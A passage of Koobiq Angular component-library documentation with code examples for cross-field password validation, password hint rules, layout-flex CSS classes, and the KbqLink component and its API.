    (controls: string[], compare: ExampleCompare = exampleValuesEqual): ValidatorFn =>
    (group: AbstractControl): ValidationErrors | null => {
        const values = controls.map((name) => group.get(name)?.value);

        if (values.some(isExampleValueEmpty)) {
            return null;
        }

        const distinct = values.every((value, index) =>
            values.every((other, otherIndex) => index === otherIndex || !compare(value, other))
        );

        return distinct ? null : { distinct: { controls } satisfies ExampleCrossFieldError };
    };

/**
 * The library matcher does the display half: it shows a group-level error on the controls that error concerns,
 * once every one of them is touched. All it needs is a way to map an error to its controls — here the
 * validators publish that list themselves, so the scope is a single lookup.
 *
 * `ShowRequiredOnSubmitErrorStateMatcher` as the second argument keeps the validation guide's rule for
 * `required` — an empty field shouldn't turn red on blur — without affecting the cross-field errors above,
 * which still reveal once every control they name has been touched, or on submit.
 */
const exampleCrossFieldMatcher = new ShowOnCrossFieldErrorStateMatcher(
    (_key, value) => (isExampleCrossFieldError(value) ? value.controls : null),
    new ShowRequiredOnSubmitErrorStateMatcher()
);

@Component({
    selector: 'validation-cross-field-password-example',
    imports: [ReactiveFormsModule, KbqInputModule, KbqButtonModule, KbqFormsModule],
    template: `
        <form #formDirective="ngForm" class="kbq-form-vertical" [formGroup]="form" (ngSubmit)="onSubmit(formDirective)">
            <div class="kbq-form__fieldset">
                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Current password</kbq-label>
                        <input formControlName="currentPassword" kbqInputPassword />
                        <kbq-password-toggle />

                        @if (form.controls.currentPassword.hasError('required')) {
                            <kbq-error>Required</kbq-error>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>New password</kbq-label>
                        <input formControlName="newPassword" kbqInputPassword />
                        <kbq-password-toggle />

                        @if (form.controls.newPassword.hasError('required')) {
                            <kbq-error>Required</kbq-error>
                        } @else if (form.controls.newPassword.hasError('minLength')) {
                            <kbq-error>Minimum 8 characters</kbq-error>
                        } @else if (form.hasError('distinct')) {
                            <kbq-error>The new password must differ from the current one</kbq-error>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row">
                    <kbq-form-field>
                        <kbq-label>Confirm new password</kbq-label>
                        <input formControlName="confirmPassword" kbqInputPassword />
                        <kbq-password-toggle />

                        @if (form.controls.confirmPassword.hasError('required')) {
                            <kbq-error>Required</kbq-error>
                        } @else if (form.hasError('matchAll')) {
                            <kbq-error>Passwords do not match</kbq-error>
                        }
                    </kbq-form-field>
                </div>

                <div class="kbq-form__row layout-align-start-start">
                    <button color="contrast" kbq-button type="submit">Change password</button>
                </div>
            </div>
        </form>
    `,
    styles: `
        form {
            width: 320px;
        }
    `,
    providers: [
        kbqErrorStateMatcherProvider(exampleCrossFieldMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class ValidationCrossFieldPasswordExample {
    protected readonly form = new FormGroup(
        {
            currentPassword: new FormControl('', Validators.required),
            newPassword: new FormControl('', [Validators.required, PasswordValidators.minLength(8)]),
            confirmPassword: new FormControl('', Validators.required)
        },
        {
            // Both rules live on the group and both are served by the same matcher. Their control sets differ
            // and overlap on `newPassword`, so the highlight follows the error payload rather than lighting
            // up the whole group.
            validators: [
                exampleDistinct(['currentPassword', 'newPassword']),
                exampleMatchAll(['newPassword', 'confirmPassword'])
            ]
        }
    );

    private readonly formFieldList = viewChildren(KbqFormField);

    protected onSubmit(formDirective: FormGroupDirective): void {
        if (this.form.invalid) {
            this.focusFirstInvalidControl();

            return;
        }

        // `FormGroupDirective.resetForm()`, not `this.form.reset()`: the latter only resets the model, not
        // the directive's own `submitted` flag, which would otherwise stay `true` forever and make every
        // cross-field error reveal immediately on the next attempt instead of waiting for both fields touched.
        formDirective.resetForm();
    }

    private focusFirstInvalidControl(): void {
        // The matcher re-evaluates `errorState` on the next change detection, triggered by the submit event
        // itself — deferred a tick so `formFieldList()` reports each field's post-submit invalid state.
        setTimeout(() => {
            const invalidControl = this.formFieldList().find((control) => control.invalid);

            invalidControl?.focus();
        });
    }
}
```

#### Password hints in a template-driven form

`PasswordValidators` are functions, so a template-driven form attaches them to `ngModel` through a validator directive. The hints read the errors from the `ngModel` reference.

**Example: Input password with template-driven forms** (`input-password-template-driven`)

```ts input-password-template-driven-example.ts
import { ChangeDetectionStrategy, Component, Directive, signal } from '@angular/core';
import { AbstractControl, FormsModule, NG_VALIDATORS, ValidationErrors, Validator, Validators } from '@angular/forms';
import { PasswordValidators } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

/** Template-driven forms take validators from directives, so this one hands `PasswordValidators` to `ngModel`. */
@Directive({
    selector: '[examplePasswordRules]',
    providers: [{ provide: NG_VALIDATORS, useExisting: ExamplePasswordRules, multi: true }]
})
class ExamplePasswordRules implements Validator {
    private readonly rules = Validators.compose([
        PasswordValidators.minLength(8),
        PasswordValidators.maxLength(15),
        PasswordValidators.minUppercase(1),
        PasswordValidators.minLowercase(1),
        PasswordValidators.minNumber(1),
        PasswordValidators.minSpecial(1)
    ]);

    validate(control: AbstractControl): ValidationErrors | null {
        return this.rules?.(control) ?? null;
    }
}

@Component({
    selector: 'input-password-template-driven-example',
    imports: [
        KbqInputModule,
        FormsModule,
        ExamplePasswordRules
    ],
    template: `
        <kbq-form-field style="width: 250px">
            <kbq-label>Password</kbq-label>

            <input #passwordModel="ngModel" examplePasswordRules kbqInputPassword [(ngModel)]="password" />

            <kbq-password-toggle />

            <kbq-reactive-password-hint
                [hasError]="passwordModel.hasError('minLength') || passwordModel.hasError('maxLength')"
            >
                8 to 15 characters
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="passwordModel.hasError('minUppercase')">
                An uppercase letter
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="passwordModel.hasError('minLowercase')">
                A lowercase letter
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="passwordModel.hasError('minNumber')">
                A digit
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="passwordModel.hasError('minSpecial')">
                A special character
            </kbq-reactive-password-hint>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class InputPasswordTemplateDrivenExample {
    protected readonly password = signal('');
}
```

## Layout flex

- Page: https://koobiq.io/en/components/layout-flex/overview

Layout flex provides Koobiq CSS classes for arranging, aligning, and ordering elements in flex containers.

**Example: Layout-flex** (`layout-flex-overview`)

```ts layout-flex-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'layout-flex-overview-example',
    imports: [
        KbqRadioModule,
        FormsModule
    ],
    template: `
        <kbq-radio-group class="layout-margin-top-4xl" [(ngModel)]="layoutDirection">
            <kbq-radio-button [value]="'layout-column'">layout-column</kbq-radio-button>
            <kbq-radio-button [value]="'layout-row'">layout-row</kbq-radio-button>
        </kbq-radio-group>
        <div class="layout-margin-top-4xl {{ layoutDirection }}">
            <div class="flex example-block">first</div>
            <div class="flex example-block">second</div>
            <div class="flex example-block">third</div>
        </div>
    `,
    styleUrls: ['layout-flex-overview-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LayoutFlexOverviewExample {
    layoutDirection: string = 'layout-column';
}
```

```css layout-flex-overview-example.css
.kbq-radio-group {
    display: flex;
    flex-direction: column;
    margin-left: 32px;
}

.kbq-radio-button {
    margin-bottom: 8px;
}

.example-block {
    border: 1px solid black;
    padding: 8px;
}
```

### Alignment

**Example: Layout-flex alignment** (`layout-flex-alignment`)

```ts layout-flex-alignment-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'layout-flex-alignment-example',
    imports: [
        KbqRadioModule,
        FormsModule
    ],
    template: `
        <div class="example-controls layout-margin-top-4xl">
            <kbq-radio-group [(ngModel)]="layoutHorizontalAlignment">
                <header>Horizontal</header>
                <kbq-radio-button [value]="'-start'">start</kbq-radio-button>
                <kbq-radio-button [value]="'-center'">center</kbq-radio-button>
                <kbq-radio-button [value]="'-end'">end</kbq-radio-button>
                <kbq-radio-button [value]="'-space-around'">space-around</kbq-radio-button>
                <kbq-radio-button [value]="'-space-between'">space-between</kbq-radio-button>
            </kbq-radio-group>

            <kbq-radio-group [(ngModel)]="layoutVerticalAlignment">
                <header>Vertical</header>
                <kbq-radio-button [value]="">(none)</kbq-radio-button>
                <kbq-radio-button [value]="'-start'">start</kbq-radio-button>
                <kbq-radio-button [value]="'-center'">center</kbq-radio-button>
                <kbq-radio-button [value]="'-end'">end</kbq-radio-button>
                <kbq-radio-button [value]="'-stretch'">stretch</kbq-radio-button>
            </kbq-radio-group>
        </div>

        <header class="layout-padding  layout-margin-top-4xl">
            class: layout-align{{ layoutHorizontalAlignment }}{{ layoutVerticalAlignment }}
        </header>
        <div
            class="example-container example-block layout-row layout-align{{ layoutHorizontalAlignment }}{{
                layoutVerticalAlignment
            }}"
        >
            <div class="example-block">block 1</div>
            <div class="example-block">block 2</div>
            <div class="example-block">block 3</div>
        </div>
    `,
    styleUrls: ['layout-flex-alignment-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LayoutFlexAlignmentExample {
    layoutHorizontalAlignment: string = '-start';
    layoutVerticalAlignment: string = '-start';
}
```

```css layout-flex-alignment-example.css
.example-controls {
    display: flex;
    flex-direction: row;
}

.example-block {
    border: 1px solid black;
    padding: 8px;
}

.kbq-radio-group {
    display: flex;
    flex-direction: column;
    margin-left: 32px;
}

.kbq-radio-button {
    margin-bottom: 8px;
}

.example-container {
    height: 120px;
}
```

### Behaviour modifiers

**Example: Layout-flex behaviour modifiers** (`layout-flex-behaviour-modifiers`)

```ts layout-flex-behaviour-modifiers-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqRadioModule } from '@koobiq/components/radio';

@Component({
    selector: 'layout-flex-behaviour-modifiers-example',
    imports: [
        KbqRadioModule,
        FormsModule
    ],
    template: `
        <div class="example-controls  layout-margin-top-4xl">
            <kbq-radio-group [(ngModel)]="flexClass">
                <kbq-radio-button [value]="'flex'">flex</kbq-radio-button>
                <kbq-radio-button [value]="'flex-none'">flex-none</kbq-radio-button>
                <kbq-radio-button [value]="'flex-auto'">flex-auto</kbq-radio-button>
                <kbq-radio-button [value]="'flex-grow'">flex-grow</kbq-radio-button>
                <kbq-radio-button [value]="'flex-no-grow'">flex-no-grow</kbq-radio-button>
                <kbq-radio-button [value]="'flex-no-shrink'">flex-no-shrink</kbq-radio-button>
            </kbq-radio-group>
        </div>
        <div class="layout-row example-block  layout-margin-top-4xl">
            <div class="example-block {{ flexClass }}">flex</div>
            <div class="flex example-block">flex</div>
            <div class="flex-none example-block">flex-none</div>
        </div>
    `,
    styleUrls: ['layout-flex-behaviour-modifiers-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LayoutFlexBehaviourModifiersExample {
    flexClass: string = 'flex';
}
```

```css layout-flex-behaviour-modifiers-example.css
.example-controls {
    display: flex;
    flex-direction: row;
}

.example-block {
    border: 1px solid black;
    padding: 8px;
}

.kbq-radio-group {
    display: flex;
    flex-direction: column;
    margin-left: 32px;
}

.kbq-radio-button {
    margin-bottom: 8px;
}
```

### Offset

**Example: Layout-flex offsets** (`layout-flex-offsets`)

```ts layout-flex-offsets-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'layout-flex-offsets-example',
    imports: [KbqSelectModule],
    template: `
        <div class="example-layout-flex-offsets layout-margin-top-4xl">
            <div class="example-controls">
                <kbq-form-field>
                    <kbq-select [(value)]="selectedSize">
                        @for (flexSize of flexSizes; track flexSize) {
                            <kbq-option [value]="flexSize">
                                {{ flexSize }}
                            </kbq-option>
                        }
                    </kbq-select>
                </kbq-form-field>

                <kbq-form-field>
                    <kbq-select [(value)]="selectedOffset">
                        @for (flexOffset of flexOffsets; track flexOffset) {
                            <kbq-option [value]="flexOffset">
                                {{ flexOffset }}
                            </kbq-option>
                        }
                    </kbq-select>
                </kbq-form-field>
            </div>
            <div class="layout-row example-block  layout-margin-top-4xl">
                <div class="{{ selectedSize }} {{ selectedOffset }} example-block">
                    {{ selectedSize }} {{ selectedOffset }}
                </div>
                <div class="{{ selectedSize }} {{ selectedOffset }} example-block">
                    {{ selectedSize }} {{ selectedOffset }}
                </div>
                <div class="{{ selectedSize }} {{ selectedOffset }} example-block">
                    {{ selectedSize }} {{ selectedOffset }}
                </div>
            </div>
        </div>
    `,
    styleUrls: ['layout-flex-offsets-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LayoutFlexOffsetsExample {
    selectedSize: string = 'flex-10';
    selectedOffset: string = 'flex-offset-10';

    flexSizes = [
        'flex-0',
        'flex-5',
        'flex-10',
        'flex-15',
        'flex-20',
        'flex-25',
        'flex-30',
        'flex-33',
        'flex-35',
        'flex-40',
        'flex-45',
        'flex-50',
        'flex-60',
        'flex-65',
        'flex-66',
        'flex-70',
        'flex-75',
        'flex-80',
        'flex-85',
        'flex-90',
        'flex-95',
        'flex-100'
    ];

    flexOffsets = [
        'flex-offset-0',
        'flex-offset-5',
        'flex-offset-10',
        'flex-offset-15',
        'flex-offset-20',
        'flex-offset-25',
        'flex-offset-30',
        'flex-offset-33',
        'flex-offset-35',
        'flex-offset-40',
        'flex-offset-45',
        'flex-offset-50',
        'flex-offset-60',
        'flex-offset-65',
        'flex-offset-66',
        'flex-offset-70',
        'flex-offset-75',
        'flex-offset-80',
        'flex-offset-85',
        'flex-offset-90',
        'flex-offset-95',
        'flex-offset-100'
    ];
}
```

```css layout-flex-offsets-example.css
.example-controls {
    display: flex;
    flex-direction: row;
}

.example-layout-flex-offsets .kbq-form-field {
    max-width: 20%;

    margin-left: 32px;
}

.example-block {
    border: 1px solid black;
    padding: 8px;
}

.kbq-radio-group {
    display: flex;
    flex-direction: column;
    margin-left: 32px;
}

.kbq-radio-button {
    margin-bottom: 8px;
}
```

### Order

**Example: Layout-flex order** (`layout-flex-order`)

```ts layout-flex-order-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSelectModule } from '@koobiq/components/select';

@Component({
    selector: 'layout-flex-order-example',
    imports: [KbqSelectModule],
    template: `
        <div class="example-layout-flex-order layout-margin-top-4xl">
            <div class="example-controls">
                <div class="layout-column flex">
                    <label class="layout-padding">'Block 1'</label>
                    <kbq-form-field>
                        <kbq-select [(value)]="selectedFirstBlockOrder">
                            @for (flexOrder of flexOrders; track flexOrder) {
                                <kbq-option [value]="flexOrder">
                                    {{ flexOrder }}
                                </kbq-option>
                            }
                        </kbq-select>
                    </kbq-form-field>
                </div>

                <div class="layout-column flex">
                    <label class="layout-padding">'Block 2'</label>
                    <kbq-form-field>
                        <kbq-select [(value)]="selectedSecondBlockOrder">
                            @for (flexOrder of flexOrders; track flexOrder) {
                                <kbq-option [value]="flexOrder">
                                    {{ flexOrder }}
                                </kbq-option>
                            }
                        </kbq-select>
                    </kbq-form-field>
                </div>

                <div class="layout-column flex">
                    <label class="layout-padding">'Block 3'</label>
                    <kbq-form-field>
                        <kbq-select [(value)]="selectedThirdBlockOrder">
                            @for (flexOrder of flexOrders; track flexOrder) {
                                <kbq-option [value]="flexOrder">
                                    {{ flexOrder }}
                                </kbq-option>
                            }
                        </kbq-select>
                    </kbq-form-field>
                </div>
            </div>
            <div class="layout-row example-block layout-margin-top-4xl">
                <div class="flex example-block {{ selectedFirstBlockOrder }}">Block 1</div>
                <div class="flex example-block {{ selectedSecondBlockOrder }}">Block 2</div>
                <div class="flex example-block {{ selectedThirdBlockOrder }}">Block 3</div>
            </div>
        </div>
    `,
    styleUrls: ['layout-flex-order-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LayoutFlexOrderExample {
    selectedFirstBlockOrder: string = 'flex-order-0';
    selectedSecondBlockOrder: string = 'flex-order-1';
    selectedThirdBlockOrder: string = 'flex-order-2';

    flexOrders = [
        'flex-order-0',
        'flex-order-1',
        'flex-order-2',
        'flex-order-3',
        'flex-order-4',
        'flex-order-5',
        'flex-order-6',
        'flex-order-7',
        'flex-order-8',
        'flex-order-9'
    ];
}
```

```css layout-flex-order-example.css
.example-controls {
    display: flex;
    flex-direction: row;
}

.example-layout-flex-order .kbq-form-field {
    max-width: 50%;
}

.example-block {
    border: 1px solid black;
    padding: 8px;
}

.kbq-radio-group {
    display: flex;
    flex-direction: column;
    margin-left: 32px;
}

.kbq-radio-button {
    margin-bottom: 8px;
}
```

## Link

- Entry point: `@koobiq/components/link`
- Page: https://koobiq.io/en/components/link/overview

### Overview

`KbqLink` is a link that takes the user to another page, a document, or an external site.

**Example: Link** (`link-overview`)

```ts link-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'link-overview-example',
    imports: [KbqLink],
    template: `
        <a kbqLink href="https://koobiq.io/en/components/link" target="_blank">Scan report</a>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkOverviewExample {}
```

#### Size

The `size` attribute changes the font size and the gap to the icon.

**Example: Link size** (`link-size`)

```ts link-size-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqDefaultSizes } from '@koobiq/components/core';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'link-size-example',
    imports: [KbqLink, KbqButtonToggleModule, FormsModule],
    template: `
        <kbq-button-toggle-group [(ngModel)]="size">
            <kbq-button-toggle value="compact">Compact</kbq-button-toggle>
            <kbq-button-toggle value="normal">Normal</kbq-button-toggle>
            <kbq-button-toggle value="big">Big</kbq-button-toggle>
        </kbq-button-toggle-group>

        <div class="example-stage layout-row layout-align-center-center">
            <a kbqLink href="https://koobiq.io/en/components/link" target="_blank" [size]="size()">Scan report</a>
        </div>
    `,
    styles: `
        .example-stage {
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: { class: 'layout-column layout-align-center-center' }
})
export class LinkSizeExample {
    readonly size = model<KbqDefaultSizes>('normal');
}
```

#### Pseudo link

A pseudo link looks like a link, but acts as a button: it performs an action without leaving the page. Use it for an action inside text.

**Example: Link pseudo** (`link-pseudo`)

```ts link-pseudo-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'link-pseudo-example',
    imports: [KbqLink],
    template: `
        <span kbqLink>Scan report</span>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkPseudoExample {}
```

#### Underline

The text underline is set with the `underline` attribute. A link is always underlined, and a pseudo link only on hover.

**Example: Link underline** (`link-underline`)

```ts link-underline-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqLink, KbqLinkUnderline } from '@koobiq/components/link';

@Component({
    selector: 'link-underline-example',
    imports: [KbqLink, KbqButtonToggleModule, FormsModule],
    template: `
        <kbq-button-toggle-group [(ngModel)]="underline">
            <kbq-button-toggle value="always">Always</kbq-button-toggle>
            <kbq-button-toggle value="hover">Hover</kbq-button-toggle>
            <kbq-button-toggle value="none">None</kbq-button-toggle>
        </kbq-button-toggle-group>

        <div class="example-stage">
            <a kbqLink href="https://koobiq.io/en/components/link" target="_blank" [underline]="underline()">
                Scan report
            </a>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
        }

        .example-stage {
            display: flex;
            align-items: center;
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkUnderlineExample {
    readonly underline = model<KbqLinkUnderline>('always');
}
```

#### Disabled state

The `disabled` attribute makes the link inactive. It keeps its address in the code, but cannot be followed.

**Example: Link disabled** (`link-disabled`)

```ts link-disabled-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqLink } from '@koobiq/components/link';
import { KbqToggleModule } from '@koobiq/components/toggle';

@Component({
    selector: 'link-disabled-example',
    imports: [KbqLink, KbqToggleModule, FormsModule],
    template: `
        <kbq-toggle [(ngModel)]="disabled">Disabled</kbq-toggle>

        <div class="example-stage">
            <a kbqLink href="https://koobiq.io/en/components/link" target="_blank" [disabled]="disabled()">
                Scan report
            </a>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
        }

        .example-stage {
            display: flex;
            align-items: center;
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkDisabledExample {
    readonly disabled = model(true);
}
```

#### Visited link

The `useVisited` attribute colors visited links. It is useful in a news feed or in articles.

**Example: Link visited** (`link-visited`)

```ts link-visited-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'link-visited-example',
    imports: [KbqLink],
    template: `
        <a kbqLink href="https://koobiq.io/en/components/link" target="_blank" useVisited>Scan report</a>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkVisitedExample {}
```

#### Icon

Set the icon before the text with `kbqLinkPrefix` and the icon after the text with `kbqLinkSuffix`. The icon is within the click area, but is not underlined.

**Example: Link icons** (`link-icons`)

```ts link-icons-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink, KbqLinkPrefix, KbqLinkSuffix } from '@koobiq/components/link';

@Component({
    selector: 'link-icons-example',
    imports: [KbqLink, KbqLinkPrefix, KbqLinkSuffix, KbqIconModule],
    template: `
        <a kbqLink href="https://koobiq.io/en/components/link" target="_blank">
            <i kbqLinkPrefix kbq-icon="kbq-clock_16"></i>
            Scan history
        </a>

        <a kbqLink href="https://koobiq.io/en/components/link" target="_blank">
            Scan report
            <i kbqLinkSuffix kbq-icon="kbq-file-text-o_16"></i>
        </a>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: var(--kbq-size-xxl);
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkIconsExample {}
```

#### Multi-line link

If the link text is long, it wraps onto several lines.

**Example: Link multi-line** (`link-multi-line`)

```ts link-multi-line-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqLink, KbqLinkPrefix } from '@koobiq/components/link';

@Component({
    selector: 'link-multi-line-example',
    imports: [KbqLink, KbqLinkPrefix, KbqIconModule],
    template: `
        <p class="example-text">
            I fully agree
            <a kbqLink external href="https://koobiq.io/en/components/link" target="_blank">
                <i kbqLinkPrefix kbq-icon="kbq-scroll-o_16"></i>
                with the terms of the license agreement
            </a>
        </p>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 160px;
        }

        .example-text {
            width: 200px;
            margin: 0;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkMultiLineExample {}
```

#### Prepositions and punctuation

The preposition that belongs to the link goes inside it. Punctuation after the link is included in it with the `kbqLinkSuffix` attribute: the text takes the link color, but is not underlined.

**Example: Link in text** (`link-in-text`)

```ts link-in-text-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink, KbqLinkSuffix } from '@koobiq/components/link';

@Component({
    selector: 'link-in-text-example',
    imports: [KbqLink, KbqLinkSuffix],
    template: `
        <p class="example-text">
            Learn more
            <a kbqLink href="https://koobiq.io/en/components/link" target="_blank">
                about scan reports
                <span kbqLinkSuffix>.</span>
            </a>
        </p>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 160px;
        }

        .example-text {
            margin: 0;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkInTextExample {}
```

#### New tab and external pages

The `external` attribute adds the icon to a link to an external page or to a link that opens in a new tab. It does not open the page in a separate tab itself — add the `target="_blank"` attribute for that.

**Example: Link external** (`link-external`)

```ts link-external-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'link-external-example',
    imports: [KbqLink],
    template: `
        <a kbqLink external href="https://www.cvedetails.com/cve/CVE-2019-1020010/" target="_blank">CVE-2019-1020010</a>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: var(--kbq-size-xxl);
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkExternalExample {}
```

#### Third-party application

When the link opens another application, the link text must contain its name. Instead of the icon, the application logo can be used.

**Example: Link application** (`link-application`)

```ts link-application-example.ts
import { NgOptimizedImage } from '@angular/common';
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink, KbqLinkSuffix } from '@koobiq/components/link';

@Component({
    selector: 'link-application-example',
    imports: [KbqLink, KbqLinkSuffix, NgOptimizedImage],
    template: `
        <a kbqLink href="https://koobiq.io/en/components/link" target="_blank">
            Scan report in AI Desktop
            <img
                kbqLinkSuffix
                class="example-app-icon"
                ngSrc="https://koobiq.io/assets/images/favicons/icon.svg"
                width="16"
                height="16"
                alt=""
            />
        </a>

        <a kbqLink external href="https://koobiq.io/en/components/link" target="_blank">Scan report in AI Desktop</a>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: var(--kbq-size-xxl);
            min-height: 160px;
        }

        .example-app-icon {
            vertical-align: text-bottom;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkApplicationExample {}
```

#### Print version

The `print` attribute adds the link address after its text when the page is printed, without the protocol and `www.`.

**Example: Link print** (`link-print`)

```ts link-print-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqLink } from '@koobiq/components/link';

@Component({
    selector: 'link-print-example',
    imports: [KbqLink],
    template: `
        <a kbqLink print href="https://www.cvedetails.com/cve/CVE-2019-1020010/" target="_blank">CVE-2019-1020010</a>
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 160px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class LinkPrintExample {}
```

#### Default settings

`kbqLinkOptionsProvider` sets the default link settings for the whole application or for a single component.

```ts
bootstrapApplication(AppComponent, {
    providers: [kbqLinkOptionsProvider({ size: 'compact', useVisited: true })]
});
```

#### Recommendations

- Open links in the same tab by default.
- A link should not lead to the page it is on — you click, the page loads, and you are where you started. The exception is a page with refreshable content, where the link duplicates the refresh.
- A user must be able to copy the address and open it in a new tab.

### API

#### Components

##### KbqLink (component)

Link of the design system. Applied to an `<a>` with a `href`, so that the browser keeps treating it as a
link, or to any other element, which makes it a pseudo link that acts as a button. The component renders the
text between the `kbqLinkPrefix` and `kbqLinkSuffix` content, and only the text is underlined.

```ts
@Component({ selector: '[kbqLink]', exportAs: 'kbqLink' })
class KbqLink {
    readonly disabled = input<boolean>(false);
    readonly pseudo = input<boolean>(false);
    readonly external = input<boolean>(false);
    readonly underline = input<KbqLinkUnderline>();
    readonly size = input<KbqDefaultSizes>(this.options.size);
    readonly useVisited = input<boolean>(this.options.useVisited);
    readonly print = input<string | null>();
    focus(): void;
    getHostElement(): HTMLElement;
}
```

- `[disabled]`: `boolean` — Whether the link is disabled.
- `[pseudo]`: `boolean` — Whether an `<a>` is a pseudo link: a control without a `href` that looks like a link. Any other element is
  a pseudo link anyway. A pseudo link gets the `button` role and is activated with Enter and Space, unless
  the element is a `<button>` or a `<label>`, declares a role of its own in the template, or is taken out of
  the tab order with a negative `tabIndex`. A key that another directive on the element has already handled,
  as `kbqDropdownTriggerFor` does, is left to it.
- `[external]`: `boolean` — Whether the link leads outside the product. Adds the external link icon after the text. It does not set
  `target`: bind `target="_blank"` as well to open the page in a new tab.
- `[underline]`: `KbqLinkUnderline` — When the text is underlined. Defaults to the app-wide `KBQ_LINK_OPTIONS`, and without one there to
  `always` for a link and `hover` for a pseudo link.
- `[size]`: `KbqDefaultSizes` — Size of the link: its typography and the gaps to its icons. Defaults to the app-wide
  `KBQ_LINK_OPTIONS`.
- `[useVisited]`: `boolean` — Whether a visited link is styled differently. Defaults to the app-wide `KBQ_LINK_OPTIONS`.
- `[print]`: `string | null` — What to print after the link text when the page is printed. An empty string, which a valueless `print`
  attribute is, prints the `href` without its protocol and `www.`; any other string is printed as is. Unbound
  or `null`, nothing is printed.
- `focus()`: `void` — Focuses the link.
- `getHostElement()`: `HTMLElement` — The element the link is applied to.

#### Directives

##### KbqLinkPrefix (directive)

Marks content to be projected before the text of a link, such as a leading icon.

```ts
@Directive({ selector: '[kbqLinkPrefix]' })
class KbqLinkPrefix {}
```

##### KbqLinkSuffix (directive)

Marks content to be projected after the text of a link: a trailing icon, or the punctuation that ends a
sentence, which takes the link color without the underline. It wraps to the next line together with the last
word only.

```ts
@Directive({ selector: '[kbqLinkSuffix]' })
class KbqLinkSuffix {}
```

#### Functions

##### kbqLinkOptionsProvider (function)

Overrides the default link options within the given injector scope: the whole application from
